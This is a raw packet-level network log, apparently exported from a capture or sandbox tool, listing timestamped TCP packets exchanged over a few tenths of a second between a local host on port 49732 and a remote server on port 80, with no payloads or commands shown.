Jun 28, 2024 22:32:14.187726974 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187731981 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187731981 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187737942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187747955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187757969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.187758923 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.187772036 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188153982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188163996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188178062 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188178062 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188179016 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188191891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188203096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188213110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188215971 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188215971 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188224077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188225985 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188237906 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188250065 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188250065 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188251019 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188262939 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188265085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188271046 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188277960 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188290119 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188324928 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188324928 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188497066 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188507080 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188515902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188543081 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188543081 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188657999 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188668013 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188684940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188687086 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188695908 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188707113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188710928 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188710928 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188716888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188730001 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188731909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188740969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188750982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188751936 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188760996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188764095 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188772917 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.188782930 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.188796043 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.189090967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.189101934 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.189110994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.189115047 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.189122915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.189132929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.189136982 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.189150095 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.189162970 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.189162970 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.189172029 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.190486908 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.251883984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.251907110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.251916885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.252038956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.252048969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.252060890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.252068996 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.252070904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.252094984 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253199100 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253231049 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253293037 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253304958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253343105 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253354073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253362894 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253374100 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253381968 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253381968 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253411055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253422022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253423929 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253423929 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253432989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253443003 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253458977 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253458977 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253458977 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253473997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253496885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253496885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253577948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253588915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253599882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253680944 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253691912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253701925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253705978 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253729105 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253854990 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253865957 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253875971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253884077 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253886938 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253897905 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253901005 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253912926 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253922939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.253928900 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253928900 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253968954 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.253968954 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.254062891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.254074097 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.254149914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.254159927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.254268885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277082920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277139902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277151108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277244091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277252913 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277262926 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277268887 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277272940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277296066 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277360916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277409077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277420044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277430058 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277439117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277458906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277533054 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277543068 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277553082 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277560949 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277563095 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277592897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277592897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277791977 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277801991 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277811050 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277821064 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277822971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277833939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277838945 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277846098 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277856112 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.277868032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.277880907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278040886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278050900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278059959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278067112 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278069973 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278085947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278093100 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278096914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278107882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278111935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278120995 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278132915 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278145075 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278273106 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278301954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278311968 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278321981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278331041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278345108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278357983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278357983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278361082 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278373957 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278383970 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278387070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278387070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278409958 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278409958 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278460979 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278703928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278713942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278727055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278743029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278750896 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278753042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278764963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.278779984 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.278841972 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279026031 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279035091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279046059 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279055119 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279063940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279073954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279083014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279093027 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279095888 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279103041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279113054 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279118061 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279125929 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279126883 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279156923 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279156923 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279243946 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279345989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279361010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279371977 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279380083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279390097 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279400110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279408932 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279413939 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279418945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279427052 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279429913 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279443026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279448032 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279459000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279462099 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279472113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279475927 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279475927 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279494047 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279524088 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279839993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279854059 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279864073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279874086 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279882908 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279891014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279898882 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279901981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279910088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279918909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279918909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279920101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279932022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279942989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279944897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279954910 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.279958010 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279982090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.279982090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.280190945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.280201912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.280318975 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.342644930 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.342654943 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.342664957 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.342757940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.342767954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.342777967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.342788935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.342789888 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.342818975 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.342844009 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.342844009 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.342876911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.343691111 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.343739033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.343749046 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.343794107 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.343794107 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.343806028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.343816996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.343826056 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.343851089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344381094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344397068 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344407082 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344407082 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344418049 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344446898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344446898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344579935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344589949 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344599962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344608068 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344609976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344621897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344623089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344633102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344643116 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344645023 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344656944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344809055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344819069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344827890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344835997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344839096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344850063 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344851017 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344861984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344871998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.344873905 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.344886065 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.345029116 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.345040083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.345055103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.345056057 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.345066071 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.345077991 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.345079899 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.345088959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.345091105 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.345101118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.345113039 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.346196890 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.367722034 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.367849112 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.367858887 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.367923975 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.367965937 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.367978096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.367988110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368002892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368027925 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368094921 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368105888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368123055 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368242025 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368252039 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368262053 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368268013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368285894 CEST	49732	80	192.168.2.4	77.91.77.81
